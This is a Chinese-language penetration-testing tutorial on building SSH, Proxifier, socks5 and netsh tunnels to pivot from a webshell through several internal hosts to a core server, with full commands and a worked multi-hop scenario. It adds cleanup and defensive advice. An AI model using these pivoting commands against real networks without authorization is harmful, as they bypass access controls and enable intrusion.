9、Tunnel:論如何在內網中自由滲透
背景
能夠成功地通過web漏洞獲取到webshell,對於一次完整的滲透測試來說,僅僅相當於萬里長征的第一步。這麼說,可能比較誇張吧,並不是所有滲透測試都會遇到幾百臺機器的大內網。
在PTES(滲透測試執行標準)中,把滲透測試分成了七個主要的過程,也就是說現在通常說的前期互動、目標識別、資訊收集、漏洞分析、漏洞利用、後滲透測試、報告編制這七大步驟。如果你看過PTES標準,你應該會跟我有一樣的感覺,後滲透測試部分的內容,幾乎等於其他六個部分的總和。當然,也只是在系統規模達到一定程度的時候,才會明顯的感覺出來。
小生雖然離開了安全工程師的崗位,還是偶爾會遇到小年輕們拿到shell之後就不知道該幹嘛了。寫了個報告交給客戶,草草結束了一個專案(這也是目前滲透測試服務的一個弊病,大部分的滲透測試都以Getshell為主要指標,能getshell,基本上已經宣告滲透測試結束了)。內網中,如何開啟一個穩定、可靠的資料通道,對後續的測試工作起到非常重要的作用。這裡分享一些我在之前滲透測試中常用的方式。在造成最小影響的情況下,構建穩定的內網代理通道。
其實並沒有什麼新奇的工具。我相信有很多我沒都還沒見識過的工具,不少坊間流傳的遠控工具功能強大,也非常易於使用。對於我這種,至今還在使用初版菜刀的“學院派”來說,最基礎的工具,往往是最可靠的。
第一個工具:SSH(別急著噴,先看完)
SSH在滲透測試中往往扮演了非常重要的角色。一方面,幾乎所有的Linux/Unix伺服器和網路裝置都支援SSH協議。另一方面,SSH是最常用的遠端管理協議,網路層面的訪問控制協議,往往會為SSH網開一面。很多管理員為了便於管理,都會開放SSH遠端管理,總不能每次一出問題就直奔機房吧。SSH本身是安全的,但是安全的通道,同樣會在網路攻擊中被利用。
SSH最簡單的命令列格式如下:
ssh root@192.268.201.100
使用-p指定目標伺服器上的ssh埠
ssh root@192.268.201.100 -p 2222
或者用下面的形式:
ssh root@192.168.201.100:2222
使用-N建立靜默連線(建立了連線,但是你看不到會話,這個選項不是所有的ssh都支援,具體看情況)
ssh -N root@192.168.201.100:2222
使用-f對ssh進行後臺執行,這個選項會把ssh轉入後臺,即使使用者登出,ssh會話也不會終端,除非超時。
ssh -f root@192.168.201.100:2222
只要在本地設定一下代理埠就可以使用了。估計不少同學也是用過類似的方式去訪問某些“不可描述”的網站。
SSH的隧道,說得通俗一些,其實就是埠對映,或者叫埠轉發。
SSH一共支援三種對映方式:
動態對映(使用-D選項,前面說的就是這種方式)。原理圖如下:
ssh -D 8080 root@192.168.201.100
這個命令列會在本機上監聽8080埠,成為一個sock5代理,只要簡單設定一下代理,就可以以192.168.201.100作為代理伺服器傳送流量了。
本地對映(使用-L選項),將遠端伺服器的埠,隱射到本地。原理圖如下:
ssh -L 8080(本地埠):192.168.201.101(目標主機):3306(目標埠) root@192.168.201.100(跳板機)
以SSH Server 為跳板,將Target Host的埠,對映到本地伺服器上。這時候,你訪問本地的8080埠,實際訪問的,就是Target Host的3306了。
前提:SSH Server必須要能通過ssh夠登陸到Target Host上去。
場景:SSH Server和Target Host都在內網,但是外部機器只能訪問到SSH Server,而無法直接對Target Host做任何請求的時候。
遠端對映(使用-R選項),將一個遠端伺服器的埠,隱射到另一個遠端伺服器。
ssh -R 3307:192.168.202.244:3306 root@192.168.201.100
這個時候,執行這條命令的主機,就成為跳板機。
前提:執行這條命令的主機,必須同時能夠訪問SSH Server和Target Server。
場景:SSH Server在外部,跳板機在內網,Target Host和跳板機同網段但無法直接從網際網路訪問到,或者Target Host處在更深層的內網。
實際上,本地對映、遠端對映和動態隱射都可以靈活應用,跳板機、目標主機的角色是可以互相轉換的。
假設滲透測試中的一個場景如下:
假設,每一臺伺服器你都知道至少一個賬戶的密碼,這裡假設內網的伺服器上都有一個弱口令的oracle賬戶。
測試人員 | 公網跳板機 | 內網跳板機1號 | 內網跳板機2號 | 目標主機 |
192.168.100.1 公司內網 | 218.2.135.2 虛擬主機 具備獨立的公網IP | 233.33.33.33 已Getshell 不能從外部直接登陸 但可以訪問網際網路 | 192.168.100.100 內網主機 不能訪問網際網路 可以被跳板1號訪問 | 10.10.10.2 核心伺服器 可被跳板機2號訪問 能夠訪問核心區域 |
第一步:登陸公網跳板機
ssh root@218.2.135.2
第二步:把218.2.135.2的公鑰,新增到跳板機1號的信任列表中。
公鑰資訊,在你本地的~/.ssh/know_hosts裡面可以找到
形如:
218.2.135.2 ssh-rsa AAAAB3NzaC1y**************************************************************************************************************************************************************************************************************************7/WggmJ4OYMJp0OnKQ==
對應的,跳板機1號上你要新增到對應賬戶的~/.ssh/known_hosts檔案中。
因為ssh初次登陸一臺主機的時候,會詢問使用者,是否信任該主機。而且,如果同一個ip,其公鑰與此前登陸時記錄的公鑰不必配,是無法登陸的,所以需要進行這個操作。
第三部:對映跳板機2號的ssh埠,到公網跳板機上(在跳板機1號的webshell中執行)
ssh -f -N -R 2222:218.2.135.2:22 oracle@192.168.100.100
圖解:
第四部:登陸到跳板機2號上
ssh oracle@localhost:2222
因為上一步已經將跳板機2號的22埠對映到公網跳板機上去了,這時候可以直接登陸。
(注,公網跳板機也要做好防護,對映出去的埠,很有可能被掃描或者攻擊,這個時候實際上被掃描的就是內網的伺服器,我們不希望這種事情發生,這個時候就應當限制,2222埠只能被本地訪問)
第五部,在跳板機2號上繼續建立動態隱射
ssh -f -N -D 192.168.100.100:7777 oracle@10.10.10.2
圖解:
滲透測試中有很多變數,不能一竿子打死,只對映特定的一個埠(比如1521)。最後一跳,個人建議以動態對映的方式,這樣可以保證後續的其他測試工作也能順利進行。但如果甲方對滲透測試有特定的需求,請務必按照甲方要求的方式進行。(比如,甲方不希望你訪問除10.10.10.2之外的任意伺服器,那麼最後一跳就做一個本地隱射就可以了)
第六部:在跳板機1號上執行
ssh -f -N -R 7777:218.2.135.2:7777 oracle@192.168.100.100
最終,開啟了一個直通內網核心的SSH隧道。
只要配置代理,sock5://218.2.135.2:7777,就可以使用瀏覽器或者資料庫終端或者其他工具,來進行更深入的測試。
(我自己都覺得好煩的說…..)
你傳送的流量,在公網跳板機上,跳板機2號上,目標主機上都會進行解密和重新加密的工作,所以效率會低很多(有點類似於洋蔥路由了)。一般的手工測試或者檔案傳輸沒有太大問題,但是這個隧道一般無法支撐Namp或者WVS之類快速發包的工具。
如果你覺得這些操作太過於繁瑣,不妨試試SSH Tunnel(僅限Mac,非常值得花錢買的一個軟體)。windows的話,還是一行一行敲命令吧。
第二個工具,Proxifier
其實我並不是很喜歡這個工具,雖然功能強大。個人感覺配置Proxifier比配置防火牆還麻煩,所以用的很少。
在Proxies中新增你的代理伺服器,可以配置多個代理,支援Socks4/5,HTTPS和HTTP代理。
看到下面的ProxyChains了麼?這是它非常強大的一個功能。
其次是配置代理規則,
規則中可以詳細指定,什麼應用,訪問什麼站點的時候,使用哪一條代理鏈路。
在滲透測試的時候,這樣的多鏈路代理會有比較大的用處。
切記,隧道和多鏈路代理本身已經打破了資訊系統中固有的訪問控制策略,如果你不能保證你自己的環境是否安全,請不要給客戶增加額外的麻煩。
注:Proxifier跟VMware Workstation在功能上有衝突,如果安裝了Proxifier,VM的虛擬機器共享功能就無法使用。我之前遇到這個問題,蛋疼地把系統都重灌好幾次才意識到它倆有衝突。
第三個工具,SSH Proxy
算是SSH Tunnel的姊妹,同一個開發者,也是隻有Mac下才有的工具。一般兩者配合使用,基本上可以不用Proxifier了。它其實就做做了一個SSH的動態隱射而已。
配置好本地的對映埠,代理的伺服器和對應的身份驗證資訊就可以了。
SSH Proxy的白名單功能比較好用,如果只需要對特定的站點或IP地址進行代理,就把IP地址新增到白名單裡就可以了。但相比Proxifier,就沒有的ProxyChains功能和多鏈路代理功能。
忠告:不建議使用SSH隧道出牆,因為流量特徵明顯,非常容易被遮蔽。
第四個工具,windows專用的sock5代理工具。
這個工具很小,可以使用命令列方式安裝,可以在系統中註冊成一個服務,隨系統啟動。也可以使用下面的命令列來執行這個服務,監聽的埠是10086。
這個工具只有三個引數:
socks5.exe -i 安裝socks5代理服務
socks5.exe -d 刪除服務
socks5.exe -r 直接執行代理,不會註冊一個新的服務。
(為了避免測試結束之後就忘記了,建議還是用-r方式直接執行,使用完畢就kill掉這個程式)
詳細的使用介紹和原始碼,請戳這裡
第五個工具,netsh
我自己用得也不是很多,暫時還沒有好的案例可以分享,但是在內網中效果還是很不錯的。
命令列格式如下:
建立埠對映
netsh interface portproxy add v4tov4 listenaddress=192.168.100.100 listenport=8443 connectaddress=10.10.10.2 connectport=8443
刪除埠對映
netsh interface portproxy delete v4tov4 listenaddress=192.168.100.100 listenport=8443
檢視當前所有的埠對映規則:
netsh interface portproxy show v4tov4
同樣的,如果你能夠在多臺伺服器上建立埠轉發的鏈路,效果和ssh隧道幾乎是一樣的。
最後,滲透測試結束的時候,務必清除你建立的所有代理鏈路。畢竟,這些代理隧道已經打破了內網的訪問控制策略了。(使用-N 和 -f選項建立的SSH會話執行在後臺,只能kill掉對應的程式,但別kill錯了)
如果你用我的方式去修改了known_hosts檔案,也要把對應的公鑰資訊做清理。
小結:
隧道之所以能成功,前提是系統中訪問控制不足。如果系統中配置了SSH遠端管理的白名單,或者在ACL裡限制特定的IP才能連線SSH,又或者系統完全使用帶外管理,那就得兩說了。
對於甲方來說,SSH固然是最常用的一種遠端管理工具,SSH本身安全性也可以保障。但一定要意識到,安全工具,往往也會淪為攻擊的重要手段。
如果沒有足夠的資源來建立帶外管理的網路結構,內網中至少要限制SSH遠端登入的地址和雙向的訪問控制策略(從外部到內部,從內部到外部)
切記,再牛逼的安全防護策略,也敵不過內網裡遍地的弱口令。-_-|||
我身邊的很多人都用LCX,但是從業三年時間裡,我自己還沒有成功地使用過這個工具,這裡就不做介紹了。期待各位來做補充。
相關文章
- 內網滲透-初探域滲透內網
- 內網滲透工具內網
- 內網滲透-內網資訊收集內網
- 內網滲透隨想內網
- Linux內網滲透Linux內網
- 工作組內網滲透內網
- metasploit滲透測試筆記(內網滲透篇)筆記內網
- 內網滲透—流量轉發內網
- cmseasy&內網滲透 Writeup內網
- 內網滲透-防火牆資訊內網防火牆
- Cobalt strike與內網滲透內網
- 什麼是內網滲透和外網滲透?有何區別?內網
- 內網滲透應用 跨vlan滲透的一種思路內網
- Me-and-My-Girlfriend-1靶機滲透 (Vulnhub內網滲透)內網
- 內網滲透測試基礎內網
- Perun 內網滲透掃描神器內網
- VMware搭建內網滲透環境內網
- 內網滲透 IPC$ [空連線]內網
- 內網滲透-隧道代理轉發內網
- 紅日靶場(內網滲透)——2內網
- 內網滲透思路整理與工具使用內網
- [Tools]內網滲透SMB轉發技巧內網
- 內網滲透 Metasploit(MSF)基礎使用內網
- 內網滲透(八)橫向移不動內網
- 從零開始內網滲透學習內網
- 滲透測試基礎--內網轉發內網
- 內網滲透-橫向移動($IPC&at&schtasks)內網
- 網站滲透思路網站
- 17、內網滲透測試定位技術總結內網
- 只用一個WiFi,滲透進企業全部內網WiFi內網
- DC9靶機滲透全流程
- 內網滲透的一些工具和平臺彙總內網
- 內網滲透測試時,通常的策略和方法如下:內網
- 網安之-=滲透思路
- 9、Metasploit域滲透測試全程實錄
- 內網滲透思路探索 之新思路的探索與驗證內網
- 內網滲透 day14-empire基礎命令的使用內網
- 12、強大的內網域滲透提權分析工具——BloodHound內網